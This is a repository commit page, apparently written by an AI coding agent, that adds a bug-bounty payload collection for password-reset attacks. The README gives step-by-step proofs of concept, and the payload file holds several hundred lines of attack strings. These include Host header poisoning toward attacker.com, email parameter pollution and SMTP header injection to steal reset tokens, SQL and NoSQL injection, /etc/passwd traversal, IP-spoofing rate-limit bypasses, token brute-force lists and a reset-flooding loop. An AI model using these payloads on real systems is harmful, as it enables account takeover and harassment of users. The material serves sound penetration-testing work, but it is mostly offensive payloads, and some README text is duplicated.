0x5t4l1n/hunting
1
0
Fork 0
mirror of https://github.com/0x5t4l1n/hunting.git synced 2026-05-26 19:36:33 +00:00
Code Issues Packages Projects Releases Wiki Activity

Add comprehensive password reset vulnerability payloads and PoC documentation

Browse Source 
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-01-05 15:32:01 +00:00
parent 79f39287b7
commit 2c30b71106
5 changed files with 1062 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Authentication-Bypass/README.md
+3
View File
@@ -14,5 +14,8 @@ Authentication bypass vulnerabilities allow an attacker to gain access to a syst
## Testing Approach ## Testing Approach
Test authentication mechanisms for logical flaws, parameter manipulation, and bypass techniques that allow unauthorized access. Test authentication mechanisms for logical flaws, parameter manipulation, and bypass techniques that allow unauthorized access.
## Related Resources
For comprehensive password reset vulnerability testing, see the **[Password Reset](../Password-Reset/)** directory which contains detailed PoC examples and specialized payloads for password reset attacks.
## Payloads ## Payloads
See `auth-bypass-payloads.txt` for a comprehensive list of authentication bypass payloads and techniques. See `auth-bypass-payloads.txt` for a comprehensive list of authentication bypass payloads and techniques.
Authentication-Bypass/auth-bypass-payloads.txt
+44
View File
@@ -119,6 +119,50 @@ token=&email=attacker@example.com
token=0 token=0
token=null token=null
token=false token=false
token=undefined
token=%20
token=true
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com%0Acc:attacker@example.com
email=victim@example.com%0Abcc:attacker@example.com
# Password reset token manipulation
reset_token=' OR '1'='1
reset_token={"$gt": ""}
reset_token=*
reset_token=admin'--
user_id=1&token=valid_token
user_id=999&token=valid_token
# Host header injection for password reset poisoning
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
# Password reset without verification
new_password=Pass123&confirm_password=Pass123
# (without providing reset token or current password)
# Password reset endpoint enumeration
POST /api/password/reset
POST /api/v1/auth/password-reset
POST /password-reset
POST /forgot-password
POST /reset-password
PUT /api/users/password
PATCH /account/password
# Weak token brute force
token=000000
token=111111
token=123456
token=0000
token=1234
# Bypass email verification in reset
email_verified=true
verified=true
skip_verification=true
# OTP/2FA bypass # OTP/2FA bypass
otp=000000 otp=000000
Password-Reset/README.md
+424
View File
@@ -0,0 +1,424 @@
# Password Reset Vulnerabilities
## Description
Password reset vulnerabilities occur when the password recovery mechanism is poorly implemented, allowing attackers to take over user accounts. These vulnerabilities are critical as they directly lead to account compromise without requiring the original password.
## Common Vulnerabilities in Password Reset Flow
### 1. **Token Prediction/Weak Token Generation**
Reset tokens that are predictable or use weak randomness can be guessed or brute-forced.
### 2. **Token Not Invalidated**
Reset tokens that remain valid after use or after password change allow replay attacks.
### 3. **No Rate Limiting**
Lack of rate limiting allows attackers to brute-force reset tokens or flood users with reset emails.
### 4. **Token Leakage**
Tokens exposed in referrer headers, logs, or through other channels.
### 5. **Host Header Injection**
Manipulating the Host header to receive password reset links with attacker-controlled domains.
### 6. **Parameter Pollution**
Adding multiple email parameters to receive reset tokens for victim accounts.
### 7. **Token Reuse**
Tokens that don't expire or can be reused multiple times.
### 8. **IDOR in Reset Flow**
Manipulating user IDs or identifiers to reset other users' passwords.
### 9. **Password Reset Poisoning**
Injecting malicious URLs in password reset emails through header manipulation.
### 10. **No Email Verification**
System accepts password reset for any email without verification.
## Common Attack Vectors
- Password reset forms
- Reset token generation endpoints
- Password change endpoints
- Reset link handling
- Email verification bypass
- Token validation endpoints
## Testing Methodology & PoC Examples
### PoC 1: Host Header Injection for Password Reset Poisoning
**Vulnerability:** Application uses Host header to generate password reset links.
**Steps to Test:**
1. Intercept password reset request
2. Manipulate the Host header
3. Check if reset link contains attacker's domain
**Request:**
```http
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
email=victim@example.com
```
**Expected Result:** Victim receives email with reset link pointing to `http://attacker.com/reset?token=...`
**Alternate Headers to Test:**
```http
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
```
---
### PoC 2: Password Reset Token Brute Force
**Vulnerability:** Weak or predictable reset tokens with no rate limiting.
**Steps to Test:**
1. Request password reset for your test account
2. Analyze the token format (numeric? alphanumeric? length?)
3. Use automated tools to brute force tokens
4. Check if rate limiting is enforced
**Example Token Patterns to Test:**
- 4-6 digit numeric codes: `0000` to `999999`
- Short alphanumeric: `a1b2c3`
- Predictable UUIDs or timestamps
- Sequential tokens
**Burp Suite Intruder Payload:**
```http
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=test@example.com&token=§000000§
```
---
### PoC 3: Parameter Pollution to Hijack Reset Token
**Vulnerability:** Application sends reset token to both victim and attacker when multiple email parameters are provided.
**Steps to Test:**
1. Intercept password reset request
2. Add additional email parameter with attacker's email
3. Check if both emails receive reset tokens
**Request:**
```http
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com&email=attacker@example.com
```
**Alternative Formats:**
```http
email=victim@example.com,attacker@example.com
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com%20attacker@example.com
email=victim@example.com%0Acc:attacker@example.com
```
---
### PoC 4: Token Not Invalidated After Use
**Vulnerability:** Reset tokens remain valid after password has been changed.
**Steps to Test:**
1. Request password reset for your test account
2. Receive reset token via email
3. Use token to reset password
4. Try using the same token again
5. Token should be rejected but if it works, vulnerability exists
**Request:**
```http
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
token=abc123xyz&new_password=NewPassword123&confirm_password=NewPassword123
```
---
### PoC 5: IDOR in Password Reset
**Vulnerability:** User ID or identifier can be manipulated to reset other users' passwords.
**Steps to Test:**
1. Request password reset for your account
2. Intercept the reset confirmation request
3. Change user_id or identifier to another user
4. Complete password reset
**Request:**
```http
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/json
```
**Change to:**
```json
{
"user_id": "5678",
"token": "valid_token",
"new_password": "NewPassword123"
}
```
---
### PoC 6: No Rate Limiting on Reset Requests
**Vulnerability:** Application allows unlimited password reset requests.
**Steps to Test:**
1. Send 100+ password reset requests for the same email
2. Check if all requests are processed
3. Check victim's email inbox for spam
**Automated Test:**
```bash
for i in {1..100}; do
curl -X POST https://example.com/forgot-password \
-d "email=victim@example.com"
done
```
**Impact:** Email flooding, denial of service, token brute force enablement
---
### PoC 7: Token Exposed in Referer Header
**Vulnerability:** Reset token in URL is leaked via Referer header.
**Steps to Test:**
1. Receive password reset email with token in URL
2. Click the reset link
3. On the reset page, click any external link
4. Check if Referer header contains the reset token
**Example:**
```
Reset URL: https://example.com/reset?token=abc123xyz
User clicks external link to: https://attacker.com/page
Referer: https://example.com/reset?token=abc123xyz
```
**Fix:** Use POST method or store token in session, not URL
---
### PoC 8: Response Manipulation to Bypass Verification
**Vulnerability:** Client-side validation or response manipulation allows password reset.
**Steps to Test:**
1. Request password reset with invalid token
2. Intercept server response
3. Change error response to success response
4. Check if password is actually reset
**Original Response:**
```json
{
"status": "error",
"message": "Invalid token",
"valid": false
}
```
**Modified Response:**
```json
{
"status": "success",
"message": "Token valid",
"valid": true
}
```
---
### PoC 9: Token in Password Reset Link Never Expires
**Vulnerability:** Reset tokens have no expiration time.
**Steps to Test:**
1. Request password reset
2. Save the reset link
3. Wait 24-48 hours (or longer)
4. Try using the old reset link
5. If it works, tokens don't expire
**Best Practice:** Tokens should expire in 15-30 minutes
---
### PoC 10: Password Reset via Username Instead of Email
**Vulnerability:** System allows password reset using username enumeration.
**Steps to Test:**
1. Try resetting password using username instead of email
2. Observe different responses for valid vs invalid usernames
3. Enumerate valid usernames
**Request:**
```http
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin
```
**Response Analysis:**
- Valid user: "Reset link sent"
- Invalid user: "User not found"
---
### PoC 11: Weak Cryptographic Token Generation
**Vulnerability:** Predictable tokens due to weak randomness.
**Steps to Test:**
1. Request multiple password reset tokens
2. Analyze patterns in tokens
3. Check if tokens are based on:
- Current timestamp
- User ID
- Sequential numbers
- Weak hash functions (MD5 of predictable data)
**Example Weak Token:**
```
Token: md5(user_id + timestamp)
If user_id=1000 and you know approximate time, token is predictable
```
---
### PoC 12: Authentication Bypass via Password Reset
**Vulnerability:** Password reset endpoint doesn't require current password.
**Steps to Test:**
1. While logged in to your account
2. Request password reset
3. Complete reset without providing current password
4. Check if 2FA or additional verification is bypassed
---
## Tools for Testing
### Burp Suite
- Intruder for token brute forcing
- Repeater for parameter manipulation
- Scanner for automated detection
### Custom Scripts
```python
import requests
# Test for rate limiting
for i in range(100):
response = requests.post(
'https://example.com/forgot-password',
data={'email': 'victim@example.com'}
)
print(f"Request {i}: {response.status_code}")
```
### Token Analysis
```python
# Analyze token entropy and patterns
tokens = [
'abc123',
'abc124',
'abc125'
]
# Check for sequential patterns, low entropy, predictability
```
## Exploitation Impact
- **High:** Direct account takeover
- **Critical:** If admin accounts can be compromised
- **Data Breach:** Access to sensitive user data
- **Reputation Damage:** Loss of user trust
## Remediation
1. **Use Cryptographically Secure Random Tokens**
- Minimum 32 characters
- Use `crypto.randomBytes()` or equivalent
2. **Implement Token Expiration**
- 15-30 minutes validity
- One-time use only
3. **Rate Limiting**
- Limit reset requests per email/IP
- Implement CAPTCHA after multiple attempts
4. **Invalidate Old Tokens**
- After password change
- After successful use
- After expiration time
5. **Use POST Method**
- Never put tokens in URL/GET parameters
- Prevent Referer leakage
6. **Validate Host Header**
- Whitelist allowed domains
- Don't use Host header in email generation
7. **Implement Proper Email Verification**
- Confirm email ownership
- Send notifications for reset attempts
8. **Multi-Factor Authentication**
- Require additional verification
- SMS/App-based OTP
9. **Account Lockout**
- Temporary lock after multiple failed attempts
- Notify user of suspicious activity
10. **Security Logging**
- Log all reset attempts
- Monitor for abuse patterns
- Alert on suspicious behavior
## References
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
- [OWASP Forgot Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)
- [Password Reset Poisoning](https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning)
## Payloads
See `password-reset-payloads.txt` for a comprehensive list of password reset attack payloads.
- [Password Reset Poisoning](https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning)
## Payloads
See `password-reset-payloads.txt` for a comprehensive list of password reset attack payloads.
Password-Reset/password-reset-payloads.txt
+590
View File
@@ -0,0 +1,590 @@
# Password Reset Vulnerability Payloads
# ============================================
# 1. HOST HEADER INJECTION PAYLOADS
# ============================================
# Basic host header manipulation
Host: attacker.com
Host: evil.com
Host: attacker.com:80
Host: localhost
# X-Forwarded headers
X-Forwarded-Host: attacker.com
X-Forwarded-Host: evil.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-Forwarded-For: attacker.com
# Absolute URL in Host header
Host: https://attacker.com
Host: http://evil.com/reset
# Host header with port manipulation
Host: example.com:@attacker.com
Host: example.com@attacker.com
Host: example.com%00.attacker.com
Host: example.com%0d%0aHost:%20attacker.com
# Multiple host headers
Host: example.com
Host: attacker.com
# Host header with path
Host: example.com/reset
Host: attacker.com/../example.com
# ============================================
# 2. PARAMETER POLLUTION PAYLOADS
# ============================================
# Multiple email parameters
email=victim@example.com&email=attacker@example.com
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com,attacker@example.com
email=victim@example.com%20attacker@example.com
email=victim@example.com|attacker@example.com
email=victim@example.com;attacker@example.com
# Email with CC/BCC injection
email=victim@example.com%0Acc:attacker@example.com
email=victim@example.com%0Abcc:attacker@example.com
email=victim@example.com%0D%0ACC:attacker@example.com
email=victim@example.com%0d%0aBcc:attacker@example.com
# JSON array pollution
{"email": ["victim@example.com", "attacker@example.com"]}
{"email": "victim@example.com", "email": "attacker@example.com"}
# Multiple parameters with different names
email=victim@example.com&mail=attacker@example.com
email=victim@example.com&username=attacker
to=victim@example.com&cc=attacker@example.com
# ============================================
# 3. TOKEN MANIPULATION PAYLOADS
# ============================================
# Empty token
token=
token=%20
token=null
token=undefined
token=0
# Boolean bypass
token=true
token=false
token=1
token=0
# Array manipulation
token[]=valid_token
token[]=
token[0]=valid_token
# SQL injection in token
token=' OR '1'='1
token=1' OR '1'='1'--
token=' OR 1=1--
token=admin'--
token='; DROP TABLE tokens;--
# NoSQL injection in token
{"token": {"$gt": ""}}
{"token": {"$ne": null}}
{"token": {"$regex": ".*"}}
# Path traversal in token
token=../../../../../../etc/passwd
token=....//....//....//etc/passwd
token=..%2F..%2F..%2Fetc%2Fpasswd
# Token with special characters
token=<script>alert(1)</script>
token=javascript:alert(1)
token=%00
token=%0d%0a
# Wildcard token
token=*
token=%
token=.*
token=.+
# ============================================
# 4. USER IDENTIFIER MANIPULATION (IDOR)
# ============================================
# User ID manipulation
user_id=1
user_id=2
user_id=admin
user_id=0
user_id=-1
user_id=999999
# Username manipulation
username=admin
username=administrator
username=root
username=victim
# Email manipulation
email=admin@example.com
email=admin@localhost
email=root@localhost
# UUID manipulation
user_uuid=00000000-0000-0000-0000-000000000001
user_uuid=11111111-1111-1111-1111-111111111111
# Account ID variations
account_id=1&user_id=2
uid=admin
user=admin
# ============================================
# 5. RATE LIMITING BYPASS PAYLOADS
# ============================================
# IP header spoofing
X-Forwarded-For: 1.2.3.4
X-Forwarded-For: 127.0.0.1
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Remote-Addr: 1.2.3.4
X-Client-IP: 1.2.3.4
# Randomized IPs for each request
X-Forwarded-For: <random_ip>
X-Real-IP: 192.168.1.<1-255>
# Multiple IP headers
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
X-Forwarded-For: 127.0.0.1
X-Real-IP: 192.168.1.1
# Session manipulation
session_id=<different_session_each_request>
PHPSESSID=<random_session>
# User agent rotation
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
# ============================================
# 6. WEAK TOKEN PATTERNS TO BRUTE FORCE
# ============================================
# 4-digit numeric codes
0000
0001
0002
...
9999
# 6-digit numeric codes (common OTP length)
000000
000001
...
999999
# Sequential tokens
token_1
token_2
token_3
# Timestamp-based tokens (Unix timestamp)
1609459200
1609459201
1609459202
# MD5 of simple inputs
5f4dcc3b5aa765d61d8327deb882cf99 (md5 of "password")
e10adc3949ba59abbe56e057f20f883e (md5 of "123456")
# Short alphanumeric (low entropy)
aaa
aab
aac
...
zzz
# Base64 encoded simple strings
YWRtaW4= (admin)
dGVzdA== (test)
MTIzNDU2 (123456)
# ============================================
# 7. RESPONSE MANIPULATION PAYLOADS
# ============================================
# These are used in client-side manipulation
{"valid": false} -> {"valid": true}
{"authenticated": false} -> {"authenticated": true}
{"error": "Invalid token"} -> {"success": "Token valid"}
{"status": 401} -> {"status": 200}
{"token_valid": false} -> {"token_valid": true}
# ============================================
# 8. ACCOUNT ENUMERATION PAYLOADS
# ============================================
# Valid vs invalid email testing
email=admin@example.com
email=administrator@example.com
email=test@example.com
email=nonexistent@example.com
email=invalid@invalid.invalid
# Username enumeration
username=admin
username=administrator
username=root
username=test
username=user
username=demo
username=guest
# Email format variations
email=admin
email=admin@
email=@example.com
email=admin@@example.com
email=admin@.com
# ============================================
# 9. EMAIL INJECTION PAYLOADS
# ============================================
# SMTP header injection
email=victim@example.com%0D%0ATo:attacker@evil.com
email=victim@example.com%0ABcc:attacker@evil.com
email=victim@example.com%0ASubject:Malicious
# Email with newline injection
email=victim@example.com%0A%0AAttacker content
email=victim@example.com\r\nBcc:attacker@evil.com
email=victim@example.com\nTo:attacker@evil.com
# Multiple recipients
email=victim@example.com,attacker@evil.com
email=victim@example.com;attacker@evil.com
email="victim@example.com, attacker@evil.com"
# ============================================
# 10. CRYPTO ANALYSIS PAYLOADS
# ============================================
# Test for weak encryption/encoding
token=base64_decode_this
token=rot13_this
token=hex_decode_this
# Known weak hashes to test
token=d41d8cd98f00b204e9800998ecf8427e (MD5 of empty string)
token=5d41402abc4b2a76b9719d911017c592 (MD5 of "hello")
# ============================================
# 11. TIME-BASED TESTING PAYLOADS
# ============================================
# Future timestamps
valid_until=9999999999
expires_at=2099-12-31
expiry=9999999999999
# Past timestamps (should be invalid)
timestamp=0
timestamp=1
created_at=1970-01-01
# ============================================
# 12. WORKFLOW BYPASS PAYLOADS
# ============================================
# Skip verification step
verified=true
email_verified=true
skip_verification=true
bypass=true
# Status manipulation
status=completed
status=verified
status=approved
password_reset_completed=true
# Step manipulation
step=1
step=3
skip_step=2
current_step=final
# ============================================
# 13. API-SPECIFIC PAYLOADS
# ============================================
# GraphQL mutations
{"query":"mutation{resetPassword(email:\"victim@example.com\"){success}}"}
{"query":"mutation{resetPassword(email:\"admin@example.com\",token:\""){success}}"}
# REST API variations
PUT /api/v1/users/1/password
PATCH /api/v1/password/reset
POST /api/reset
POST /api/v2/auth/forgot-password
# ============================================
# 14. SPECIAL CHARACTERS & ENCODING
# ============================================
# URL encoding
email=victim%40example.com
email=victim%2540example.com (double encoding)
# Unicode characters
email=victim@еxample.com (Cyrillic 'e')
email=admin@＠example.com
# Null bytes
email=victim@example.com%00
email=victim@example.com%00.attacker.com
token=valid_token%00
# HTML encoding
email=victim&#64;example.com
email=victim&commat;example.com
# ============================================
# 15. BUSINESS LOGIC BYPASS
# ============================================
# Negative values
user_id=-1
token_attempts=-1
rate_limit=-1
# Very large numbers
user_id=999999999
user_id=2147483647
user_id=9999999999999999999
# Array manipulation
user_id[]=1
user_id[]=2
emails[]=victim@example.com
# Type juggling
user_id="1"
user_id=1
user_id=true
user_id=null
# ============================================
# 16. CASE SENSITIVITY BYPASS
# ============================================
email=ADMIN@EXAMPLE.COM
email=Admin@Example.Com
username=ADMIN
username=AdMiN
token=ABCDEF
token=AbCdEf
# ============================================
# 17. LINK MANIPULATION
# ============================================
# Redirect after reset
redirect_url=https://attacker.com
return_url=https://evil.com
next=https://attacker.com/capture
callback=https://evil.com
# Open redirect in reset flow
redirect=//attacker.com
redirect=///attacker.com
redirect=/\/\attacker.com
redirect=//google.com@attacker.com
# ============================================
# 18. CORS & ORIGIN MANIPULATION
# ============================================
Origin: https://attacker.com
Origin: null
Referer: https://attacker.com/reset
Access-Control-Allow-Origin: *
# ============================================
# 19. RACE CONDITION PAYLOADS
# ============================================
# Send simultaneous requests
# Multiple threads requesting:
POST /reset-password with same token
POST /forgot-password for same email
POST /verify-token with same token
# ============================================
# 20. VERBOSE ERROR MESSAGES
# ============================================
# Test different invalid inputs to enumerate:
email=nonexistent@example.com
# Expected: "Email not found" (reveals valid emails)
token=invalid
# Expected: "Invalid token" vs "Expired token" (information disclosure)
user_id=9999
# Expected: "User does not exist" (user enumeration)
# ============================================
# 21. CAPTCHA BYPASS
# ============================================
captcha=
g-recaptcha-response=
h-captcha-response=
recaptcha_token=null
captcha_token=
skip_captcha=true
# ============================================
# 22. TWO-FACTOR BYPASS VIA PASSWORD RESET
# ============================================
# Test if password reset bypasses 2FA
skip_2fa=true
bypass_2fa=true
2fa_enabled=false
require_otp=false
mfa_required=false
# ============================================
# 23. PASSWORD CONFIRMATION BYPASS
# ============================================
# Missing confirmation field
new_password=NewPass123
# (without confirm_password field)
# Mismatched passwords
new_password=NewPass123
confirm_password=DifferentPass456
# Empty confirmation
new_password=NewPass123
confirm_password=
# ============================================
# 24. WEAK PASSWORD ALLOWED
# ============================================
# Test if weak passwords are accepted in reset
new_password=123
new_password=password
new_password=admin
new_password=123456
new_password=12345678
new_password=qwerty
new_password=abc123
# ============================================
# 25. SESSION FIXATION
# ============================================
# Set session before reset
Cookie: session_id=attacker_controlled_value
PHPSESSID=attacker_session
# After victim resets password with this session,
# attacker can use the session to access account
# ============================================
# 26. HTTP METHOD TAMPERING
# ============================================
# Try different HTTP methods on reset endpoint
GET /api/reset-password?token=abc&password=new
PUT /api/reset-password
DELETE /reset-password
PATCH /reset-password
HEAD /reset-password
OPTIONS /reset-password
# ============================================
# 27. CONTENT-TYPE MANIPULATION
# ============================================
Content-Type: application/json
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data
Content-Type: text/plain
Content-Type: application/xml
# ============================================
# 28. PASSWORD IN RESPONSE
# ============================================
# Check if new password is returned in response
# After setting: new_password=SecretPass123
# Response should NOT contain:
{"password": "SecretPass123"}
{"new_password": "SecretPass123"}
# ============================================
# 29. NO CONFIRMATION EMAIL
# ============================================
# Test if user is notified after password reset
# User should receive confirmation that password was changed
# If not, attacker can silently reset passwords
# ============================================
# 30. TEMPORAL ATTACKS
# ============================================
# Timing attack to enumerate users
# Measure response time difference:
email=valid@example.com (slower response)
email=invalid@example.com (faster response)
# ============================================
# TEST SCENARIOS
# ============================================
# Scenario 1: Reset without current password
POST /change-password
new_password=NewPassword123
# Should require old_password field
# Scenario 2: Token reuse
1. Get token: /forgot-password?email=test@example.com
2. Use token: /reset?token=abc123&password=new1
3. Try token again: /reset?token=abc123&password=new2
# Second attempt should fail
# Scenario 3: Expired token
1. Get token
2. Wait > expiration time
3. Try to use expired token
# Should be rejected
# Scenario 4: Token for different user
1. Request reset for user A
2. Get token for user A
3. Try to use it for user B
# Should be rejected
# Scenario 5: Multiple active tokens
1. Request reset (get token1)
2. Request reset again (get token2)
3. Use token1
# token1 should still work, or only latest token should work
README.md
+1
View File
@@ -26,6 +26,7 @@ This repository contains a complete collection of testing payloads organized by
**Authentication & Authorization:** **Authentication & Authorization:**
- **[Authentication Bypass](./Authentication-Bypass/)** - Auth bypass techniques - **[Authentication Bypass](./Authentication-Bypass/)** - Auth bypass techniques
- **[Password Reset](./Password-Reset/)** - Password reset vulnerabilities & account takeover
- **[Weak Passwords](./Weak-Passwords/)** - Common weak passwords and defaults - **[Weak Passwords](./Weak-Passwords/)** - Common weak passwords and defaults
**Server-Side Vulnerabilities:** **Server-Side Vulnerabilities:**